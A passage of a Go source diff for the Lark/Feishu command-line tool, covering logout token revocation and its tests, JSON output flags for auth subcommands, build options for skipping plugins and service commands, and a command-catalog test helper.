fmt.Fprintln(f.IOStreams.ErrOut, "No configuration found.")
|
||||
return nil
|
||||
}
|
||||
|
||||
app := multi.CurrentAppConfig(f.Invocation.Profile)
|
||||
if app == nil || len(app.Users) == 0 {
|
||||
if opts.JSON {
|
||||
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
|
||||
"ok": true,
|
||||
"loggedOut": false,
|
||||
"reason": "not_logged_in",
|
||||
})
|
||||
return nil
|
||||
}
|
||||
fmt.Fprintln(f.IOStreams.ErrOut, "Not logged in.")
|
||||
return nil
|
||||
}
|
||||
|
||||
httpClient, httpErr := f.HttpClient()
|
||||
appSecret, secretErr := core.ResolveSecretInput(app.AppSecret, f.Keychain)
|
||||
|
||||
for _, user := range app.Users {
|
||||
if httpErr == nil && secretErr == nil {
|
||||
if token := larkauth.GetStoredToken(app.AppId, user.UserOpenId); token != nil {
|
||||
revokeToken := token.RefreshToken
|
||||
tokenTypeHint := "refresh_token"
|
||||
if revokeToken == "" {
|
||||
revokeToken = token.AccessToken
|
||||
tokenTypeHint = "access_token"
|
||||
}
|
||||
if revokeToken != "" {
|
||||
_ = larkauth.RevokeToken(httpClient, app.AppId, appSecret, app.Brand, revokeToken, tokenTypeHint)
|
||||
}
|
||||
}
|
||||
}
|
||||
if err := larkauth.RemoveStoredToken(app.AppId, user.UserOpenId); err != nil {
|
||||
fmt.Fprintf(f.IOStreams.ErrOut, "Warning: failed to remove token for %s: %v\n", user.UserOpenId, err)
|
||||
}
|
||||
}
|
||||
|
||||
app.Users = []core.AppUser{}
|
||||
if err := core.SaveMultiAppConfig(multi); err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
|
||||
}
|
||||
if opts.JSON {
|
||||
output.PrintJson(f.IOStreams.Out, map[string]interface{}{
|
||||
"ok": true,
|
||||
"loggedOut": true,
|
||||
})
|
||||
return nil
|
||||
}
|
||||
output.PrintSuccess(f.IOStreams.ErrOut, "Logged out")
|
||||
return nil
|
||||
}
|
||||
|
||||
356
cmd/auth/logout_test.go
Normal file
356
cmd/auth/logout_test.go
Normal file
@@ -0,0 +1,356 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package auth
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/url"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
larkauth "github.com/larksuite/cli/internal/auth"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
"github.com/zalando/go-keyring"
|
||||
)
|
||||
|
||||
func writeLogoutConfig(t *testing.T, users []core.AppUser) {
|
||||
t.Helper()
|
||||
if err := core.SaveMultiAppConfig(&core.MultiAppConfig{
|
||||
CurrentApp: "test-app",
|
||||
Apps: []core.AppConfig{
|
||||
{
|
||||
AppId: "test-app",
|
||||
AppSecret: core.PlainSecret("test-secret"),
|
||||
Brand: core.BrandFeishu,
|
||||
Users: users,
|
||||
},
|
||||
},
|
||||
}); err != nil {
|
||||
t.Fatalf("SaveMultiAppConfig() error = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthLogoutRun_JSONMode_NotConfigured_WritesStdoutOnly(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
|
||||
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
|
||||
if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
|
||||
t.Fatalf("authLogoutRun() error = %v", err)
|
||||
}
|
||||
|
||||
var payload map[string]any
|
||||
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
|
||||
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
|
||||
}
|
||||
if payload["ok"] != true {
|
||||
t.Errorf("stdout.ok = %v, want true", payload["ok"])
|
||||
}
|
||||
if payload["loggedOut"] != false {
|
||||
t.Errorf("stdout.loggedOut = %v, want false", payload["loggedOut"])
|
||||
}
|
||||
if payload["reason"] != "not_configured" {
|
||||
t.Errorf("stdout.reason = %v, want not_configured", payload["reason"])
|
||||
}
|
||||
if stderr.Len() != 0 {
|
||||
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthLogoutRun_JSONMode_NotLoggedIn_WritesStdoutOnly(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
writeLogoutConfig(t, nil)
|
||||
|
||||
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
|
||||
if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
|
||||
t.Fatalf("authLogoutRun() error = %v", err)
|
||||
}
|
||||
|
||||
var payload map[string]any
|
||||
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
|
||||
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
|
||||
}
|
||||
if payload["ok"] != true {
|
||||
t.Errorf("stdout.ok = %v, want true", payload["ok"])
|
||||
}
|
||||
if payload["loggedOut"] != false {
|
||||
t.Errorf("stdout.loggedOut = %v, want false", payload["loggedOut"])
|
||||
}
|
||||
if payload["reason"] != "not_logged_in" {
|
||||
t.Errorf("stdout.reason = %v, want not_logged_in", payload["reason"])
|
||||
}
|
||||
if stderr.Len() != 0 {
|
||||
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthLogoutRun_JSONMode_Success_WritesStdoutOnly(t *testing.T) {
|
||||
keyring.MockInit()
|
||||
t.Setenv("HOME", t.TempDir())
|
||||
t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
writeLogoutConfig(t, []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}})
|
||||
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
|
||||
AppId: "test-app",
|
||||
UserOpenId: "ou_user",
|
||||
}); err != nil {
|
||||
t.Fatalf("SetStoredToken() error = %v", err)
|
||||
}
|
||||
|
||||
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
|
||||
if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
|
||||
t.Fatalf("authLogoutRun() error = %v", err)
|
||||
}
|
||||
|
||||
var payload map[string]any
|
||||
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
|
||||
t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
|
||||
}
|
||||
if payload["ok"] != true {
|
||||
t.Errorf("stdout.ok = %v, want true", payload["ok"])
|
||||
}
|
||||
if payload["loggedOut"] != true {
|
||||
t.Errorf("stdout.loggedOut = %v, want true", payload["loggedOut"])
|
||||
}
|
||||
if _, hasReason := payload["reason"]; hasReason {
|
||||
t.Errorf("stdout.reason must be absent on success, got %v", payload["reason"])
|
||||
}
|
||||
if stderr.Len() != 0 {
|
||||
t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthLogoutRun_DefaultMode_KeepsTextOutput(t *testing.T) {
|
||||
keyring.MockInit()
|
||||
t.Setenv("HOME", t.TempDir())
|
||||
t.Setenv("LARKSUITE_CLI_DATA_DIR", t.TempDir())
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
writeLogoutConfig(t, []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}})
|
||||
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
|
||||
AppId: "test-app",
|
||||
UserOpenId: "ou_user",
|
||||
}); err != nil {
|
||||
t.Fatalf("SetStoredToken() error = %v", err)
|
||||
}
|
||||
|
||||
f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
|
||||
if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
|
||||
t.Fatalf("authLogoutRun() error = %v", err)
|
||||
}
|
||||
|
||||
if stdout.Len() != 0 {
|
||||
t.Errorf("stdout must stay empty in default mode, got:\n%s", stdout.String())
|
||||
}
|
||||
if !strings.Contains(stderr.String(), "Logged out") {
|
||||
t.Errorf("stderr = %q, want success text", stderr.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthLogoutRun_RevokesTokenAndClearsLocalState(t *testing.T) {
|
||||
keyring.MockInit()
|
||||
setupLoginConfigDir(t)
|
||||
t.Setenv("HOME", t.TempDir())
|
||||
|
||||
multi := &core.MultiAppConfig{
|
||||
CurrentApp: "default",
|
||||
Apps: []core.AppConfig{
|
||||
{
|
||||
Name: "default",
|
||||
AppId: "cli_test",
|
||||
AppSecret: core.PlainSecret("secret"),
|
||||
Brand: core.BrandFeishu,
|
||||
Users: []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
|
||||
},
|
||||
},
|
||||
}
|
||||
if err := core.SaveMultiAppConfig(multi); err != nil {
|
||||
t.Fatalf("SaveMultiAppConfig() error = %v", err)
|
||||
}
|
||||
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
|
||||
AppId: "cli_test",
|
||||
UserOpenId: "ou_user",
|
||||
AccessToken: "user-access-token",
|
||||
RefreshToken: "user-refresh-token",
|
||||
}); err != nil {
|
||||
t.Fatalf("SetStoredToken() error = %v", err)
|
||||
}
|
||||
|
||||
f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
ProfileName: "default",
|
||||
AppID: "cli_test",
|
||||
AppSecret: "secret",
|
||||
Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: larkauth.PathOAuthRevoke,
|
||||
Body: map[string]interface{}{"code": 0},
|
||||
BodyFilter: func(body []byte) bool {
|
||||
values, err := url.ParseQuery(string(body))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return values.Get("client_id") == "cli_test" &&
|
||||
values.Get("client_secret") == "secret" &&
|
||||
values.Get("token") == "user-refresh-token" &&
|
||||
values.Get("token_type_hint") == "refresh_token"
|
||||
},
|
||||
})
|
||||
|
||||
if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
|
||||
t.Fatalf("authLogoutRun() error = %v", err)
|
||||
}
|
||||
|
||||
if got := stderr.String(); !strings.Contains(got, "Logged out") {
|
||||
t.Fatalf("stderr = %q, want Logged out", got)
|
||||
}
|
||||
if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
|
||||
t.Fatalf("expected stored token removed, got %#v", got)
|
||||
}
|
||||
saved, err := core.LoadMultiAppConfig()
|
||||
if err != nil {
|
||||
t.Fatalf("LoadMultiAppConfig() error = %v", err)
|
||||
}
|
||||
if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
|
||||
t.Fatalf("expected users cleared, got %#v", saved.Apps)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthLogoutRun_FallsBackToAccessTokenWhenRefreshTokenMissing(t *testing.T) {
|
||||
keyring.MockInit()
|
||||
setupLoginConfigDir(t)
|
||||
t.Setenv("HOME", t.TempDir())
|
||||
|
||||
multi := &core.MultiAppConfig{
|
||||
CurrentApp: "default",
|
||||
Apps: []core.AppConfig{
|
||||
{
|
||||
Name: "default",
|
||||
AppId: "cli_test",
|
||||
AppSecret: core.PlainSecret("secret"),
|
||||
Brand: core.BrandFeishu,
|
||||
Users: []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
|
||||
},
|
||||
},
|
||||
}
|
||||
if err := core.SaveMultiAppConfig(multi); err != nil {
|
||||
t.Fatalf("SaveMultiAppConfig() error = %v", err)
|
||||
}
|
||||
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
|
||||
AppId: "cli_test",
|
||||
UserOpenId: "ou_user",
|
||||
AccessToken: "user-access-token",
|
||||
}); err != nil {
|
||||
t.Fatalf("SetStoredToken() error = %v", err)
|
||||
}
|
||||
|
||||
f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
ProfileName: "default",
|
||||
AppID: "cli_test",
|
||||
AppSecret: "secret",
|
||||
Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: larkauth.PathOAuthRevoke,
|
||||
Body: map[string]interface{}{"code": 0},
|
||||
BodyFilter: func(body []byte) bool {
|
||||
values, err := url.ParseQuery(string(body))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return values.Get("client_id") == "cli_test" &&
|
||||
values.Get("client_secret") == "secret" &&
|
||||
values.Get("token") == "user-access-token" &&
|
||||
values.Get("token_type_hint") == "access_token"
|
||||
},
|
||||
})
|
||||
|
||||
if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
|
||||
t.Fatalf("authLogoutRun() error = %v", err)
|
||||
}
|
||||
|
||||
if got := stderr.String(); !strings.Contains(got, "Logged out") {
|
||||
t.Fatalf("stderr = %q, want Logged out", got)
|
||||
}
|
||||
if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
|
||||
t.Fatalf("expected stored token removed, got %#v", got)
|
||||
}
|
||||
saved, err := core.LoadMultiAppConfig()
|
||||
if err != nil {
|
||||
t.Fatalf("LoadMultiAppConfig() error = %v", err)
|
||||
}
|
||||
if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
|
||||
t.Fatalf("expected users cleared, got %#v", saved.Apps)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthLogoutRun_RevokeFailureStillClearsLocalState(t *testing.T) {
|
||||
keyring.MockInit()
|
||||
setupLoginConfigDir(t)
|
||||
t.Setenv("HOME", t.TempDir())
|
||||
|
||||
multi := &core.MultiAppConfig{
|
||||
CurrentApp: "default",
|
||||
Apps: []core.AppConfig{
|
||||
{
|
||||
Name: "default",
|
||||
AppId: "cli_test",
|
||||
AppSecret: core.PlainSecret("secret"),
|
||||
Brand: core.BrandFeishu,
|
||||
Users: []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
|
||||
},
|
||||
},
|
||||
}
|
||||
if err := core.SaveMultiAppConfig(multi); err != nil {
|
||||
t.Fatalf("SaveMultiAppConfig() error = %v", err)
|
||||
}
|
||||
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
|
||||
AppId: "cli_test",
|
||||
UserOpenId: "ou_user",
|
||||
AccessToken: "user-access-token",
|
||||
RefreshToken: "user-refresh-token",
|
||||
}); err != nil {
|
||||
t.Fatalf("SetStoredToken() error = %v", err)
|
||||
}
|
||||
|
||||
f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
ProfileName: "default",
|
||||
AppID: "cli_test",
|
||||
AppSecret: "secret",
|
||||
Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: larkauth.PathOAuthRevoke,
|
||||
Status: 500,
|
||||
Body: map[string]interface{}{"error": "server_error"},
|
||||
})
|
||||
|
||||
if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
|
||||
t.Fatalf("authLogoutRun() error = %v", err)
|
||||
}
|
||||
|
||||
gotErr := stderr.String()
|
||||
if strings.Contains(gotErr, "failed to revoke token for ou_user") {
|
||||
t.Fatalf("stderr = %q, want no revoke warning", gotErr)
|
||||
}
|
||||
if !strings.Contains(gotErr, "Logged out") {
|
||||
t.Fatalf("stderr = %q, want Logged out", gotErr)
|
||||
}
|
||||
if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
|
||||
t.Fatalf("expected stored token removed, got %#v", got)
|
||||
}
|
||||
saved, err := core.LoadMultiAppConfig()
|
||||
if err != nil {
|
||||
t.Fatalf("LoadMultiAppConfig() error = %v", err)
|
||||
}
|
||||
if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
|
||||
t.Fatalf("expected users cleared, got %#v", saved.Apps)
|
||||
}
|
||||
}
|
||||
@@ -19,6 +19,7 @@ type ScopesOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Ctx context.Context
|
||||
Format string
|
||||
JSON bool
|
||||
}
|
||||
|
||||
// NewCmdAuthScopes creates the auth scopes subcommand.
|
||||
@@ -30,6 +31,9 @@ func NewCmdAuthScopes(f *cmdutil.Factory, runF func(*ScopesOptions) error) *cobr
|
||||
Short: "Query scopes enabled for the app",
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
opts.Ctx = cmd.Context()
|
||||
if opts.JSON {
|
||||
opts.Format = "json"
|
||||
}
|
||||
if runF != nil {
|
||||
return runF(opts)
|
||||
}
|
||||
@@ -38,6 +42,7 @@ func NewCmdAuthScopes(f *cmdutil.Factory, runF func(*ScopesOptions) error) *cobr
|
||||
}
|
||||
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", "output format: json (default) | pretty")
|
||||
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
|
||||
cmdutil.SetRisk(cmd, "read")
|
||||
|
||||
return cmd
|
||||
|
||||
@@ -17,6 +17,7 @@ import (
|
||||
type StatusOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Verify bool
|
||||
JSON bool
|
||||
}
|
||||
|
||||
// NewCmdAuthStatus creates the auth status subcommand.
|
||||
@@ -35,6 +36,7 @@ func NewCmdAuthStatus(f *cmdutil.Factory, runF func(*StatusOptions) error) *cobr
|
||||
}
|
||||
|
||||
cmd.Flags().BoolVar(&opts.Verify, "verify", false, "verify token against server (requires network)")
|
||||
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
|
||||
cmdutil.SetRisk(cmd, "read")
|
||||
|
||||
return cmd
|
||||
|
||||
93
cmd/build.go
93
cmd/build.go
@@ -6,7 +6,10 @@ package cmd
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"io/fs"
|
||||
|
||||
_ "github.com/larksuite/cli/agent"
|
||||
"github.com/larksuite/cli/cmd/agent"
|
||||
"github.com/larksuite/cli/cmd/api"
|
||||
"github.com/larksuite/cli/cmd/auth"
|
||||
"github.com/larksuite/cli/cmd/completion"
|
||||
@@ -16,8 +19,11 @@ import (
|
||||
"github.com/larksuite/cli/cmd/profile"
|
||||
"github.com/larksuite/cli/cmd/schema"
|
||||
"github.com/larksuite/cli/cmd/service"
|
||||
"github.com/larksuite/cli/cmd/skill"
|
||||
cmdupdate "github.com/larksuite/cli/cmd/update"
|
||||
"github.com/larksuite/cli/cmd/whoami"
|
||||
_ "github.com/larksuite/cli/events"
|
||||
"github.com/larksuite/cli/internal/apicatalog"
|
||||
"github.com/larksuite/cli/internal/build"
|
||||
"github.com/larksuite/cli/internal/cmdpolicy"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
@@ -31,9 +37,13 @@ import (
|
||||
type BuildOption func(*buildConfig)
|
||||
|
||||
type buildConfig struct {
|
||||
streams *cmdutil.IOStreams
|
||||
keychain keychain.KeychainAccess
|
||||
globals GlobalOptions
|
||||
streams *cmdutil.IOStreams
|
||||
keychain keychain.KeychainAccess
|
||||
globals GlobalOptions
|
||||
skipPlugins bool
|
||||
skipStrictMode bool
|
||||
skipService bool
|
||||
serviceCatalog *apicatalog.Catalog
|
||||
}
|
||||
|
||||
// WithIO sets the IO streams for the CLI by wrapping raw reader/writers.
|
||||
@@ -51,6 +61,18 @@ func WithKeychain(kc keychain.KeychainAccess) BuildOption {
|
||||
}
|
||||
}
|
||||
|
||||
// embeddedSkillContent is the skill tree wired into cmdutil.Factory.SkillContent
|
||||
// at build time. It is registered by the repo-root package main's init via
|
||||
// SetEmbeddedSkillContent — it cannot be threaded through main.go without
|
||||
// breaking the single-file preview build (see skills_embed.go). nil in builds
|
||||
// that embed no skills; the `skills` commands then return a typed internal error.
|
||||
var embeddedSkillContent fs.FS
|
||||
|
||||
// SetEmbeddedSkillContent registers the embedded skill tree. Called from the
|
||||
// repo-root package main's init; a wrapper main can call it before Execute to
|
||||
// supply its own skill content.
|
||||
func SetEmbeddedSkillContent(fsys fs.FS) { embeddedSkillContent = fsys }
|
||||
|
||||
// HideProfile sets the visibility policy for the root-level --profile flag.
|
||||
// When hide is true the flag stays registered (so existing invocations still
|
||||
// parse) but is omitted from help and shell completion. Typically called as
|
||||
@@ -61,6 +83,41 @@ func HideProfile(hide bool) BuildOption {
|
||||
}
|
||||
}
|
||||
|
||||
// WithoutPlugins builds only repository-owned commands. It is intended for
|
||||
// inspection tools that need a deterministic command tree.
|
||||
func WithoutPlugins() BuildOption {
|
||||
return func(c *buildConfig) {
|
||||
c.skipPlugins = true
|
||||
}
|
||||
}
|
||||
|
||||
// WithoutStrictMode builds the complete repository-owned command tree without
|
||||
// applying user/profile strict-mode pruning. It is intended for offline
|
||||
// inspection tools, not production execution.
|
||||
func WithoutStrictMode() BuildOption {
|
||||
return func(c *buildConfig) {
|
||||
c.skipStrictMode = true
|
||||
}
|
||||
}
|
||||
|
||||
// WithoutServiceCommands builds only hand-authored commands. It is intended for
|
||||
// repository quality gates that should not depend on the remote OpenAPI
|
||||
// metadata command surface.
|
||||
func WithoutServiceCommands() BuildOption {
|
||||
return func(c *buildConfig) {
|
||||
c.skipService = true
|
||||
}
|
||||
}
|
||||
|
||||
// WithServiceCatalog builds generated service commands from a specific metadata
|
||||
// catalog. It is intended for offline inspection tools that need deterministic
|
||||
// embedded metadata while production execution keeps using the runtime catalog.
|
||||
func WithServiceCatalog(catalog apicatalog.Catalog) BuildOption {
|
||||
return func(c *buildConfig) {
|
||||
c.serviceCatalog = &catalog
|
||||
}
|
||||
}
|
||||
|
||||
// Build constructs the full command tree. It also installs registered
|
||||
// plugins and emits the Startup lifecycle event during assembly --
|
||||
// so Plugin.On(Startup) handlers run even if the returned command is
|
||||
@@ -103,6 +160,7 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
|
||||
if cfg.keychain != nil {
|
||||
f.Keychain = cfg.keychain
|
||||
}
|
||||
f.SkillContent = embeddedSkillContent
|
||||
rootCmd := &cobra.Command{
|
||||
Use: "lark-cli",
|
||||
Short: "Lark/Feishu CLI — OAuth authorization, UAT management, API calls",
|
||||
@@ -115,6 +173,10 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
|
||||
rootCmd.SetOut(cfg.streams.Out)
|
||||
rootCmd.SetErr(cfg.streams.ErrOut)
|
||||
|
||||
// Root-only usage template (curated Usage synopsis + skills footer); see
|
||||
// rootUsageTemplate.
|
||||
rootCmd.SetUsageTemplate(rootUsageTemplate)
|
||||
|
||||
installTipsHelpFunc(rootCmd)
|
||||
rootCmd.SilenceErrors = true
|
||||
// SilenceUsage as a static field (not only in PersistentPreRun) so it also
|
||||
@@ -135,20 +197,39 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
|
||||
rootCmd.AddCommand(auth.NewCmdAuth(f))
|
||||
rootCmd.AddCommand(profile.NewCmdProfile(f))
|
||||
rootCmd.AddCommand(doctor.NewCmdDoctor(f))
|
||||
rootCmd.AddCommand(whoami.NewCmdWhoami(f))
|
||||
rootCmd.AddCommand(api.NewCmdApiWithContext(ctx, f, nil))
|
||||
rootCmd.AddCommand(schema.NewCmdSchema(f, nil))
|
||||
rootCmd.AddCommand(completion.NewCmdCompletion(f))
|
||||
rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
|
||||
rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
|
||||
service.RegisterServiceCommandsWithContext(ctx, rootCmd, f)
|
||||
rootCmd.AddCommand(skill.NewCmdSkill(f))
|
||||
rootCmd.AddCommand(agent.NewCmdAgent(f))
|
||||
if !cfg.skipService {
|
||||
if cfg.serviceCatalog != nil {
|
||||
service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)
|
||||
} else {
|
||||
service.RegisterServiceCommandsWithContext(ctx, rootCmd, f)
|
||||
}
|
||||
}
|
||||
shortcuts.RegisterShortcutsWithContext(ctx, rootCmd, f)
|
||||
|
||||
installUnknownSubcommandGuard(rootCmd)
|
||||
groupRootCommands(rootCmd)
|
||||
|
||||
if mode := f.ResolveStrictMode(ctx); mode.IsActive() {
|
||||
installUnknownSubcommandGuard(rootCmd)
|
||||
// Bare `lark-cli` in an interactive terminal offers an interactive upgrade
|
||||
// before printing help; non-bare invocations and non-TTY are unaffected.
|
||||
installRootUpgradePrompt(f, rootCmd)
|
||||
|
||||
if mode := f.ResolveStrictMode(ctx); mode.IsActive() && !cfg.skipStrictMode {
|
||||
pruneForStrictMode(rootCmd, mode)
|
||||
}
|
||||
|
||||
if cfg.skipPlugins {
|
||||
recordInventory(nil)
|
||||
return f, rootCmd, nil
|
||||
}
|
||||
|
||||
installResult, installErr := installPluginsAndHooks(cfg.streams.ErrOut)
|
||||
if installErr != nil {
|
||||
installPluginInstallErrorGuard(rootCmd, installErr)
|
||||
|
||||
46
cmd/build_test.go
Normal file
46
cmd/build_test.go
Normal file
@@ -0,0 +1,46 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func TestBuildWithoutPluginsStillBuildsBuiltinCommands(t *testing.T) {
|
||||
root := Build(context.Background(), cmdutil.InvocationContext{}, WithoutPlugins())
|
||||
|
||||
if root == nil {
|
||||
t.Fatal("Build returned nil root")
|
||||
}
|
||||
if findCommand(root, "api") == nil {
|
||||
t.Fatal("builtin api command missing")
|
||||
}
|
||||
if findCommand(root, "docs +fetch") == nil {
|
||||
t.Fatal("builtin docs +fetch shortcut missing")
|
||||
}
|
||||
}
|
||||
|
||||
func findCommand(root *cobra.Command, path string) *cobra.Command {
|
||||
parts := strings.Fields(path)
|
||||
cmd := root
|
||||
for _, part := range parts {
|
||||
var next *cobra.Command
|
||||
for _, child := range cmd.Commands() {
|
||||
if child.Name() == part {
|
||||
next = child
|
||||
break
|
||||
}
|
||||
}
|
||||
if next == nil {
|
||||
return nil
|
||||
}
|
||||
cmd = next
|
||||
}
|
||||
return cmd
|
||||
}
|
||||
160
cmd/cmdexample_catalog_test.go
Normal file
160
cmd/cmdexample_catalog_test.go
Normal file
@@ -0,0 +1,160 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package cmd_test
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// universalFlags are accepted by every command (cobra auto-injects help; the
|
||||
// root injects version). They are never reported as unknown.
|
||||
var universalFlags = map[string]bool{"--help": true, "-h": true, "--version": true}
|
||||
|
||||
// catalog is the source-of-truth command catalog: command path -> accepted flag
|
||||
// tokens. A path is the command words WITHOUT the "lark-cli" root prefix, e.g.
|
||||
// "contact +search-user". The root command is the empty path "".
|
||||
type catalog struct {
|
||||
flagsByPath map[string]map[string]bool
|
||||
group map[string]bool // paths that are parent groups (have subcommands)
|
||||
sorted []string // cached sorted paths for suggestCommand; invalidated on addCommand
|
||||
}
|
||||
|
||||
func newCatalog() *catalog {
|
||||
return &catalog{
|
||||
flagsByPath: map[string]map[string]bool{},
|
||||
group: map[string]bool{},
|
||||
}
|
||||
}
|
||||
|
||||
// setGroup records whether path is a parent group (has subcommands). Leftover
|
||||
// words after a group node are unknown subcommands; after a leaf they are
|
||||
// positionals (e.g. "api GET /path").
|
||||
func (c *catalog) setGroup(path string, isGroup bool) {
|
||||
if isGroup {
|
||||
c.group[path] = true
|
||||
}
|
||||
}
|
||||
|
||||
func (c *catalog) isGroup(path string) bool { return c.group[path] }
|
||||
|
||||
// addCommand registers a command path and the flags it accepts. Repeated calls
|
||||
// for the same path union the flag sets. flags are full tokens ("--query", "-q").
|
||||
func (c *catalog) addCommand(path string, flags []string) {
|
||||
set := c.flagsByPath[path]
|
||||
if set == nil {
|
||||
set = map[string]bool{}
|
||||
c.flagsByPath[path] = set
|
||||
}
|
||||
for _, f := range flags {
|
||||
set[f] = true
|
||||
}
|
||||
c.sorted = nil // invalidate cached suggestion list
|
||||
}
|
||||
|
||||
func (c *catalog) hasCommand(path string) bool {
|
||||
_, ok := c.flagsByPath[path]
|
||||
return ok
|
||||
}
|
||||
|
||||
// hasFlag reports whether flag is accepted by command path (universal flags
|
||||
// always pass).
|
||||
func (c *catalog) hasFlag(path, flag string) bool {
|
||||
if universalFlags[flag] {
|
||||
return true
|
||||
}
|
||||
set := c.flagsByPath[path]
|
||||
return set[flag]
|
||||
}
|
||||
|
||||
// longestPrefix returns the longest known command path that is a prefix of
|
||||
// words, plus how many words it consumed. This separates real subcommands from
|
||||
// trailing positionals (e.g. "api GET /path" resolves to "api"). When words is
|
||||
// empty it falls back to the root command. ok=false means not even the first
|
||||
// word names a command.
|
||||
func (c *catalog) longestPrefix(words []string) (path string, n int, ok bool) {
|
||||
if len(words) == 0 {
|
||||
if c.hasCommand("") {
|
||||
return "", 0, true
|
||||
}
|
||||
return "", 0, false
|
||||
}
|
||||
for i := len(words); i >= 1; i-- {
|
||||
cand := strings.Join(words[:i], " ")
|
||||
if c.hasCommand(cand) {
|
||||
return cand, i, true
|
||||
}
|
||||
}
|
||||
return "", 0, false
|
||||
}
|
||||
|
||||
// paths returns all known command paths, sorted.
|
||||
